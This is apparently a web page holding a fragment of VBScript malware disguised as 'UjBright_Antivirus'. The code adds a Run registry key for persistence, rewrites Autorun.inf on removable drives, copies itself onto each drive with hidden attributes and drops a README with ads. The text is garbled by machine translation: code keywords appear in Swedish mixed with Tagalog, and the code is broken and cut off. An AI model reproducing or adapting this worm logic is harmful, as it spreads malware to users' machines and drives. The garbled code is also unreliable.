Virus Blev Anitivirus

.RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ Currentversion \\ Run \\ AutoMe "," wscript.exe "" "och vinn &" \\ UjBright_Antivirus.vbs "" "Om ax = false Sedan wscr.Run" wscript.exe "" "och vinn &" \\ UjBright_Antivirus VBS "" "while (true) Set myDrives = fso.Drives För varje myFlashDrive I myDrives Om myFlashDrive.Drivetype = 1 Och myFlashDrive.Path" A: "Då Om fso.FileExists (myFlashDrive.Path &" \\ Autorun.inf " ) Ställ sedan in fAttr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 32 fso.Deletefile myFlashDrive.Path & "\\ Autorun.

inf", true End If Set auFile = fso.CreateTextFile (myFlashDrive .Path & "\\ Autorun.inf", true) auFile.write "[autorun]" & vbCrLf & "open = \\" & vbCrLf & "open = wscript.exe UjBright_Antivirus.vbs" & vbCrLf & "shell \\ Open \\ Command = wscript.exe UjBright_Antivirus.vbs "& vbCrLf &" shell \\ Open \\ Standard = 1 "auFile.close Set auFile = fso.CreateTextFile (myFlashDrive.Path &" \\ README.txt ", true) auFile.write" Hej VÄNNER: "& vbCrLf &" Maaaring virus ito kung tawagin på makikita ng ibang ANTI-VIRUS, ngunit wag mag-alala kung ito'y hindi makikilala ng anu mang ANTI-VIRUS na nasa sa inyo.

" & VbCrLf & "Dahil ito ang tanging paraan ko upang matugunan ang ibang ANTI-VIRUS na hindi makikilala ang ganitong Scripto na VIRUS na nakakasama" & vbCrLf & "ay kaya nitong PALITAN na maaring ayusin niya ang ibang sinira dulot ng NAKAKASIRA na VIRUS." & VbCrLf & "" & vbCrLf & "-ADVERTISING-" & vbCrLf & "EARLY ADVENT REKLAM -. Presenning nila ay hållbara matagal kumupas, tagg-init man o tag-Araw" & VbCrLf & "RB photoart STUDIO - Kan kagandahan sa Kulay ng inyong BILD på hållbara pa." & VbCrLf & "104,1 DXMA WOW FM -..

Pinakikinggang himpilan ng RADIO Numero UNO sa Centrala Mindanao" & VbCrLf & "" & vbCrLf & "PARA SA GUSTONG MAGPA-ANNONSERA:" & vbCrLf & "kontaktar precis mig: 09083223171 - UJBRIGHT" auFile.close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ Autorun.inf") fAttr.Attributes = 39 Set myFile = fso.CreateTextFile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 End If Next With wscr .

RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ Currentversion \\ Run \\ AutoMe", "wscript.exe" "" och vinn & "\\ UjBright_Antivirus.vbs" "" .RegWrite "HKEY_CURRENT_USER \\ SOFTWARE \\ Microsoft \\ Windows \\ Currentversion \\ Explorer \\ Advanced